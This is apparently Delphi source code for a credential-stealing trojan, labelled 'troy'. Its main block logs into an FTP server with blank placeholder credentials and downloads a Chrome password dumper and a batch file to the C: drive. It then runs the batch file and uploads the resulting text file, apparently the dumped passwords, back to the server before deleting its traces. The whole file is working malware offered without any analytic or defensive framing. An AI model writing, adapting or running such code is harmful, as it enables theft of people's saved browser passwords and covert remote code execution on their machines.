troy

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Registry, Forms,
  Dialogs, StdCtrls, ExtCtrls, IdBaseComponent, IdComponent, IdUDPBase,
  IdUDPClient, Wininet, Winsock, IdTCPConnection, IdTCPClient, IdHTTP, AppEvnts, IdFTP, ShellApi;

type
  TForm1 = class(TForm)

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

function GetWin(Comand: string): string;
var
 buff: array [0 .. $FF] of char;
begin
 ExpandEnvironmentStrings(PChar(Comand), buff, SizeOf(buff));
 Result := buff;
end;


var
  ftp: TIdFTP;
  ms:  TMemoryStream;
begin
  ftp:=TIdFTP.Create(Application);
  ms:=TMemoryStream.Create;
  try
    try
      ftp.Host:='';
      ftp.Port:=21;
      ftp.Username:='';
      ftp.Password:='';
      ftp.Connect(true, 2000);
      AssErt(ftp.Connected);
      ftp.ChangeDir('/');
      ShowMessage('Pls wait!');
      ftp.Get('ChromePasswordDump.exe','c:\ChromePasswordDump.exe',true);//Файл Откуда-Куда
      ShowMessage('0x01');
      ftp.Get('4.bat','c:\4.bat',true);
      ShowMessage('0x02');
      WinExec('c:\4.bat',SW_RESTORE);
      sleep(1000);
      ShowMessage('0x03');
      ftp.Put('C:\\1234.txt','1234.txt',false);
      DeleteFile('c:\ChromePasswordDump.exe');
      DeleteFile('c:\4.bat');
      DeleteFile('C:\\1234.txt');
      ShowMessage('All ok!');
      Application.Terminate;
    finally
      ms.Free; ftp.Free;
    end;
  except
    ShowMessage('Fatal error! 0x01');
    Application.Terminate;
  end;

end.